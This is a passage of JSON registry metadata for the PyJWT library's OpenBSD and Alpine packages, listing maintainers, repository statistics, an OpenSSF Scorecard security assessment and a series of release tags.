merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/packages/www%2Fpy-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/packages/www%2Fpy-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/packages/www%2Fpy-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/packages/www%2Fpy-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/packages/www%2Fpy-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/packages/www%2Fpy-jwt/codemeta","maintainers":[{"uuid":"jhuldtgren@gmail.com","login":null,"name":"Johan Huldtgren","email":"jhuldtgren@gmail.com","url":null,"packages_count":9,"html_url":null,"role":null,"created_at":"2026-05-28T01:10:10.986Z","updated_at":"2026-05-28T01:10:10.986Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/maintainers/jhuldtgren@gmail.com/packages"}],"registry":{"name":"openbsd-7.9-amd64","url":"https://cdn.openbsd.org/pub/OpenBSD/7.9/packages/amd64","ecosystem":"openbsd","default":true,"packages_count":11808,"maintainers_count":274,"namespaces_count":42,"keywords_count":0,"github":"openbsd","metadata":{"arch":"amd64","sqlports_version":"7.54","funded_packages_count":3},"icon_url":"https://github.com/openbsd.png","created_at":"2026-05-26T11:21:10.750Z","updated_at":"2026-06-01T05:03:54.622Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/namespaces"}},{"id":7605065,"name":"py3-jwt-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-jwt","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":6,"first_release_published_at":"2023-04-19T14:25:59.000Z","latest_release_published_at":"2025-04-27T22:28:00.000Z","latest_release_number":"2.10.1-r0","last_synced_at":"2026-03-28T08:05:36.264Z","created_at":"2023-04-20T00:10:23.704Z","updated_at":"2026-05-29T04:00:35.700Z","registry_url":"https://pkgs.alpinelinux.org/package/edge/community/x86_64/py3-jwt-pyc","install_command":"apk add py3-jwt-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.